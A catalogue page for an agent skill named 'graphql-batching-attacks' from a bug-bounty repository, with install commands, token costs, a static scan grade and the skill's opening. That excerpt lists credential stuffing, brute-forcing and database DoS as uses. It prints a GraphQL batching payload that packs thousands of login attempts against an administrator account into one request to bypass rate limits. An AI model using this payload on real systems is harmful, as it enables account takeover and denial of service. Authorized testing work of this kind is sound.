Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ShulkwiSEC/bb-hugenpx agentmods add skills/shulkwisec/bb-huge/graphql-batching-attacksWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/shulkwisec/bb-huge/graphql-batching-attacks)<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/graphql-batching-attacks"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/graphql-batching-attacks/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/shulkwisec/bb-huge/graphql-batching-attacks"><img src="https://agentmods.dev/badge/skills/shulkwisec/bb-huge/graphql-batching-attacks.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00060 | $0.02168 |
| Opus 5 | $0.00030 | $0.01084 |
| Sonnet 5 | $0.00012 | $0.00434 |
| Haiku 4.5 | $0.00006 | $0.00217 |
Grade A, and why
graphql-batching-attacks scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
Copies of this mod
1 near-identical copy found in the catalogue:
- graphql-batching-attacks — 100% identical, 0 lines differ
How it starts
The opening of the file, as written. The whole thing — 171 lines — stays where its author put it; the contents beside it link to each section on GitHub.
GraphQL Batching Attacks
When to Use
- When testing a GraphQL endpoint (
/graphql) protected by standard, IP-based or token-based Rate Limiting (e.g., Akamai, Cloudflare, AWS WAF). - During credential stuffing or password brute-forcing scenarios where the API enforces a limit of "5 login attempts per minute".
- To severely impact the backend database's availability (Resource Exhaustion DOS) by forcing thousands of massive, simultaneous queries that the frontend proxy interprets as a single web request.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Understanding Standard Rate Limiting Constraints The WAF
// Concept: Standard REST APIs require one HTTP request per action:
// POST /api/login -> "Username: admin, Password: 1" (Attempt 1)
// POST /api/login -> "Username: admin, Password: 2" (Attempt 2)
//
// The WAF simply counts the HTTP requests and blocks the IP address at Attempt 5.
// GraphQL is fundamentally different. It accepts an Array [] of completely distinct queries
// within a single HTTP POST envelope. The WAF counts it as "One Request".
Phase 2: Array-Based Query Batching (The Array Bypass)
// Concept: Pass an array of multiple distinct operation requests to the server simultaneously.
// 1. The Payload:
[
{ "query": "mutation { login(username: \"administrator\", password: \"Password1\") { token } }" },
{ "query": "mutation { login(username: \"administrator\", password: \"Password2\") { token } }" },
{ "query": "mutation { login(username: \"administrator\", password: \"Password3\") { token } }" },
... // Pack 5,000 login attempts here
]
// 2. The Execution:
// Send one single HTTP POST request containing the JSON array.
// The GraphQL resolver (e.g., Apollo Server) iterates through the array natively, executing
// all 5,000 database login checks bypassing the WAF's 5-per-minute restriction.
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 171 lines · 60 tokens per session scan A 8511aaffc9ec
graphql-batching-attacks is a skill published in the GitHub repository ShulkwiSEC/bb-huge (22 stars, last pushed 2mo ago), licensed MIT. It adds 60 tokens to every session and 2,168 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
graphql-batching-attacks
Exploit GraphQL API architectural features to execute highly efficient brute-force, Credential Stuffing, and Denial of Service (DoS) attacks. Utilize Query Batching and Alias injection to bypass rate limits by packing thousands of requests into a single HTTP POST request.
performing-api-rate-limiting-bypass
Tests API rate limiting implementations for bypass vulnerabilities by manipulating request headers, IP addresses, HTTP methods, API versions, and encoding schemes to circumvent request throttling controls. The tester identifies rate limit headers, determines enforcement mechanisms, and attempts bypasses including…
performing-graphql-introspection-attack
Performs GraphQL introspection attacks to extract the full API schema including types, queries, mutations, subscriptions, and field definitions from GraphQL endpoints. The tester uses introspection queries to map the attack surface, identifies sensitive fields and mutations, tests for query depth and complexity…
performing-graphql-depth-limit-attack
Execute and test GraphQL depth limit attacks using deeply nested recursive queries to identify denial-of-service vulnerabilities in GraphQL APIs.
conducting-api-security-testing
Conducts security testing of REST, GraphQL, and gRPC APIs to identify vulnerabilities in authentication, authorization, rate limiting, input validation, and business logic. The tester uses the OWASP API Security Top 10 as the testing framework, combining Burp Suite interception with Postman collections and custom…
analyzing-api-gateway-access-logs
Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts. Uses pandas for statistical analysis of request patterns and anomaly detection. Use when investigating API abuse or building API-specific threat detection rules.